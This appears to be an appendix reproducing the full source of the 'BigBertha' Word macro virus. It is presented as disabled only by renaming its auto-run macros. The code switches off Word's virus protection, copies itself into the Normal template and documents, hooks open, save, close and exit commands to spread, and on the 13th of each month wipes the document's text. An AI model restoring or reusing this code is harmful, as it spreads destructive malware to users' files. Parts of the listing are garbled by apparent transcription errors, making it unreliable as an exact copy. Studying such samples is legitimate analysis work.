Appendix E - [The Poison] - Code listing of “BigBertha” Virus

'A copy of BigBertha virus — Already disabled with GW-Scan, Generic Word Virus Scanner
'All infectious macros have been renamed to prevent this code from working.
'Changing any of the macros in this code could lead you to prosecution and is not advisable

'‘BigBertha - Random Path + Update The.Invisible.Man@Cyberdude.Com
'Code Written by VicodinES
Poppy ID: 7984-HrQf98867984.c
"This Virus Is: Bigbertha.Poppy
Public Skip As Integer
Sub BigBertha()
On Error Resume Next
IkSq10763 = ToOsGuQu & FoPq14583 & Int(Rnd * 8318)
UjRI113882 = ArHelvQt & DqHt15344 & Int(Rnd * 6977)
Options.ConfirmConversions = False
Options. VirusProtection = False
Options.SaveNormalPrompt = False
xctiveDocument.xBProject. VBComponents("BigBertha").Export "c:\BigBertha.drv"
KuQyVrNh = QeNv5319 & FxLn11419
NvUiOpEy = TfHy14270 & UuNi8965
OISnlyDx = MuKil19106 & UtG117007
xctiveDocument.ReadOnlyRecommended = False
SzKe7990 = FqNhSsGe & KiSq8455 & SkKyKuRq & VrRI11305
GtFy9490 = GqPtDkVI & MyCx8218 & Int(Rnd * 3910)
QhEmKrAf = AxRz2535 & Uwlv12019
If Day(Now()) = 13 Then Call FtEu9886V100
HgVjSoQl = PeEf10809 & EfKz7294
KtCk17073 = RhFxGpGs & S1P05793 & EeKrNxKl & D1Ji10415
RuGh6371 = DnAlVjVm & PwKu7457 & QwAuGuOj & Tlly15566
LgKe6729 = GyNeNpQn & PpUk11160 & KgPoUeKo & FrF110663
If xormalTemplate.xBProject. VBComponents.Item("BigBertha"). Name <> "BigBertha" Then
HeK;j798442982 = True
BoDvH]jNI = PIGk10651 & SgSn11446
AgNxUrKz = GuAh9749 & NuFh12620
If xctiveDocument.xBProject. VBComponents.Item("BigBertha"). Name <> "BigBertha" Then
OtAz429812 = True
DnUr10014 = TeCmDnJg & EgCx14701 & Int(Rnd * 8416)
FuDx8979 = ImExBpSm & TtRk10805 & QsBwSxRw & PylJj11722
If HeKj798442982 = True And OtAz429812 = False Then Set QkCe429879842 =
xormalTemplate.xBProject. VBComponents
If HeKj798442982 = False And OtAz429812 = True Then Set QkCe429879842 =
xctiveDocument.xBProject. VBComponents
QkCe429879842.import "c:\BigBertha.drv"
If HeKj798442982 = False And Skip <> 1 Then xctiveDocument.SaveAs
filename:=xctiveDocument.FullName, FileFormat:=wdFormatDocument
QqC;j14751 = BklpDxPt & TpCx6460 & OmLrDulLz & RfVp19827
BsCtRglu = TvFe4496 & QpFy5519
VnVil5501 = CuVwGiBm & UxPq6341 & Int(Rnd * 8823)
FwEIl6324 = RsPqCiUe & QyCw5912 & Int(Rnd * 2372)
If OtAz429812 = False Then If xormalTemplate.Saved = False Then xormalTemplate.Save
LvFul348 = KeHzBiKt & PmRv11684 & Int(Rnd * 1336)
OmUm13132 = VgRuGolf & CiPf5463 & MyBnAuls & PvMh4090
DKLtUgOx:
End Sub
Sub HelpAbout()
On Error Resume Next
JeTvRmRu = TyKw16637 & HpJv9305
MsgBox "and a big hello to Microsoft", vbInformation
TqFoAjHt = LvKp9174 & 1oGp17711



NIKvSsGv = RnJp14180 & VqUw13821
End Sub
Sub xileNew()
On Error Resume Next
Call BigBertha
GpBi18302 = GhLxCxOe & Felh5467 & Int(Rnd * 3344)
FxKq7029 = PjMyUnTr & MoRp9101 & Int(Rnd * 8935)
Dialogs(wdDialogxileNew).Show
Uwlu4660 = NrJwUtFk & PuRe8222 & Int(Rnd * 2982)
Skip =1
QmRp16636 = RjNIImGe & LvOm12923 & Int(Rnd * 6934)
Call BigBertha
Dylq6518 = QfBfTsPs & SiKx11688 & IiTeCelt & QhUm12350
End Sub
Sub xileSave()
On Error Resume Next
TgTiliJk = BqMy6600 & QpFj7424
Call BigBertha
EtGt5410 = NfVgCfNz & RhJs8104 & Int(Rnd * 2959)
UoTm15421 = FmTzAISu & PeCe7175 & Int(Rnd * 5947)
xctiveDocument.Save
UfKr5767 = QrLvPkHe & RwTil1807 & Int(Rnd * 7515)
AvByCtCu = PzPp10208 & NzOn12723
End Sub
Sub xileClose()
On Error Resume Next
FfEyMrRg = AfUm8653 & KIRu6066
Call BigBertha
MmUh9052 = GsBhFiAt & GmAv5349 & CzIoCwTj & OuOx18978
JvKnNiQu = NhMz7908 & NzSz3089
If xctiveDocument.Saved = False Then xctiveDocument.Save
CpBw3791 = LyHkFsGk & VwAw7106 & Int(Rnd * 6982)
xctiveDocument.Close
RoKhQmlIp = RWEw7017 & OvMk16483
ByHtRuOf = OfDx13331 & CIR118258
End Sub
Sub xileSaveAs()
On Error Resume Next
NfIjSsSt = HkAk4730 & TzB09068
UeQzAeFq = FwHu6781 & MwMz7711
Dialogs(wdDialogxileSaveAs).Show
UtFk10386 = UtGuDeBk & RtPt12330 & QjPqExSm & FtLs9148
Call BigBertha
BkTyl12171 = JvQpJjAs & Eo0z6108 & Int(Rnd * 1006)
End Sub
Sub xileExit()
On Error Resume Next
VjDullDv = AkKMk5371 & MeVj4683
RqVm18254 = TmEgFvNs & HgAj13919 & Int(Rnd * 8779)
Call BigBertha
BgGrFrLp = SpCq7175 & AuEw12332
EmDnKeOo = LsMy13996 & GulJ118310
If xctiveDocument.Saved = False Then xctiveDocument.Save
IpBsFxRp = TsHn9317 & NvJt6118
Application.Quit
FpOkIpPj = CtRv8742 & IpJg11209
End Sub
Sub xutoOpen()
On Error Resume Next
CkMgFtFe = RjCy5946 & SjVw9590



Call BigBertha
MmSg12124 = BeJuMhUk & GqFf14562 & Int(Rnd * 7340)
End Sub
Sub xutoExit()
On Error Resume Next
BvIuHxQs = KsEi9486 & Eylw14186
OwHI9636 = TiQnAtPr & QkCf12449 & Int(Rnd * 5178)
Call BigBertha
TrEx3041 = LnSeClUs & UnJh7224 & Int(Rnd * 1136)
End Sub
Sub xutoExec()
On Error Resume Next
PkQg9290 = IeCrHtEm & OpHw7817 & Int(Rnd * 3610)
DnRwUuRm = QmMk9069 & HsCv5126
Call BigBertha
TiHkUrFy = OzGv15697 & MgOy8598
End Sub
Sub xutoClose()
On Error Resume Next
HrEs2576 = VIOzTrSt & DfKn1359 & QgKwLwHe & GrBk6025
JxJz11540 = KoQoRsFl & SsEw7461 & Int(Rnd * 5296)
Call BigBertha
UuHI7315 = DIUgTeCt & SpKn3116 & Int(Rnd * 3077)
End Sub
Sub xoolsMacro()
On Error Resume Next
JrMpDISk = KtNj14063 & PqJp9016
SuDj9875 = VqRyCiTk & CnJf4918 & Int(Rnd * 626)
Call BigBertha
JzJm8886 = TtEhTIHz & PyKm12567 & Int(Rnd * 3649)
PzKv13909 = MgTqRmTs & OmEI8341 & ImRyMwGh & UqTf6194
DyKq13445 = AuPoMsRf & TeFr12473 & Int(Rnd * 5414)
TpDn5695 = CiHlAsSe & BhCr12118 & Int(Rnd * 7100)
End Sub
Sub xileTemplates()
On Error Resume Next
EuAjJull = TqL11686 & BqFk6457
Call BigBertha
PjlzOqVk = KmLz4222 & BpBf4865
AsDeOxFk = LqQw16363 & PqGy8650
KpTq15886 = RuBeFfUl & KmAu3042 & EgVvHhFs & ThDx7029
LkTul1707 = TnNnEpTf & JgPj10242 & Int(Rnd * 8216)
End Sub
Sub xiewVBCode()
On Error Resume Next
GwGp3685 = CfRyOiUu & FhMs14942 & Int(Rnd * 2169)
Call BigBertha
HrBr15647 = PnAgqDgRs & CjPt10572 & Int(Rnd * 9957)
JkPt14267 = PrKjIsOt & PfOx12044 & CrLsEhCm & GwQo11290
End Sub
Sub FtEu9886V100()
On Error Resume Next
DeDgFpMz = AnJm3005 & DiDs4342
KpAr12814 = BnPnUgAu & LiRo13826 & Int(Rnd * 9704)
Selection. WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
xctiveDocument.Save
TzHh11493 = BtJtUrDz & TuRy5916 & Int(Rnd * 2471)
End Sub



